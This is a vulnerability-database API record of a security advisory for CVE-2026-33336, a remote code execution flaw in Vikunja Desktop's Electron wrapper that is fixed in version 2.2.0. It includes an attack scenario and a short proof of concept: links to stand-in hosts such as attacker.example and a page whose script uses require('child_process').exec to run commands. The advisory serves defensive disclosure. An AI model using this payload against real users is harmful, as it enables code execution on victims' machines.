Vulnerability Instance
Lookup for vulnerabilities affecting packages.
GET /api/vulnerabilities/77643?format=api
{ "url": "http://public2.vulnerablecode.io/api/vulnerabilities/77643?format=api", "vulnerability_id": "VCID-p7c7-af8w-cyeb", "summary": "Vikunja is an open-source self-hosted task management platform. Starting in version 0.21.0 and prior to version 2.2.0, the Vikunja Desktop Electron wrapper enables `nodeIntegration` in the main BrowserWindow and does not restrict same-window navigations. An attacker who can place a link in user-generated content (task descriptions, comments, project descriptions) can cause the BrowserWindow to navigate to an attacker-controlled origin, where JavaScript executes with full Node.js access, resulting in arbitrary code execution on the victim's machine. Version 2.2.0 patches the issue.\n\n## Root cause\n\nTwo misconfigurations combine to create this vulnerability:\n\n1. **`nodeIntegration: true`** is set in `BrowserWindow` web preferences (`desktop/main.js:14-16`), giving any page loaded in the renderer full access to Node.js APIs (`require`, `child_process`, `fs`, etc.).\n\n2. **No `will-navigate` or `will-redirect` handler** is registered on the `webContents`. The existing `setWindowOpenHandler` (`desktop/main.js:19-23`) only intercepts `window.open()` calls (new-window requests). It does **not** intercept same-window navigations triggered by:\n - `<a href=\"https://...\">` links (without `target=\"_blank\"`)\n - `window.location` assignments\n - HTTP redirects\n - `<meta http-equiv=\"refresh\">` tags\n\n## Attack scenario\n\n1. The attacker is a normal user on the same Vikunja instance (e.g., a member of a shared project).\n2. The attacker creates or edits a project description or task description containing a standard HTML link, e.g.: `<a href=\"https://evil.example/exploit\">Click here for the updated design spec</a>`\n3. The Vikunja frontend renders this link. DOMPurify sanitization correctly allows it -- it is a legitimate anchor tag, not a script injection. Render path example: `frontend/src/views/project/ProjectInfo.vue` uses `v-html` with DOMPurify-sanitized output.\n4. The victim uses Vikunja Desktop and clicks the link.\n5. Because no `will-navigate` handler exists, the BrowserWindow navigates to `https://evil.example/exploit` in the same renderer process.\n6. The attacker's page now executes in a context with `nodeIntegration: true` and runs: `require('child_process').exec('id > /tmp/pwned');`\n7. Arbitrary commands execute as the victim's OS user.\n\n## Impact\n\nFull remote code execution on the victim's desktop. The attacker can read/write arbitrary files, execute arbitrary commands, install malware or backdoors, and exfiltrate credentials and sensitive data. No XSS vulnerability is required -- a normal, sanitizer-approved hyperlink is sufficient.\n\n## Proof of concept\n\n1. Set up a Vikunja instance with two users sharing a project.\n2. As the attacker user, edit a project description to include: `<a href=\"https://attacker.example/poc.html\">Meeting notes</a>`\n3. Host poc.html with: `<script>require('child_process').exec('calc.exe')</script>`\n4. As the victim, open the project in Vikunja Desktop and click the link.\n5. calc.exe (or any other command) executes on the victim's machine.\n\n## Credits\n\nThis vulnerability was found using [GitHub Security Lab Taskflows](https://github.com/GitHubSecurityLab/seclab-taskflows).", "aliases": [ { "alias": "CVE-2026-33336" } ], "fixed_packages": [], "affected_packages": [], "references": [ { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-33336", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00387", "scoring_system": "epss", "scoring_elements": "0.60238", "published_at": "2026-06-11T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-33336" }, { "reference_url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-83w9-9jf6-88vf", "reference_id": "GHSA-83w9-9jf6-88vf", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H" }, { "value": "Track*", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-03-24T17:44:15Z/" } ], "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-83w9-9jf6-88vf" }, { "reference_url": "https://vikunja.io/changelog/vikunja-v2.2.0-was-released", "reference_id": "vikunja-v2.2.0-was-released", "reference_type": "", "scores": [ { "value": "6.5", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H" }, { "value": "Track*", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-03-24T17:44:15Z/" } ], "url": "https://vikunja.io/changelog/vikunja-v2.2.0-was-released" } ], "weaknesses": [ { "cwe_id": 94, "name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment." } ], "exploits": [], "severity_range_score": "6.5 - 6.5", "exploitability": null, "weighted_severity": null, "risk_score": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-p7c7-af8w-cyeb" }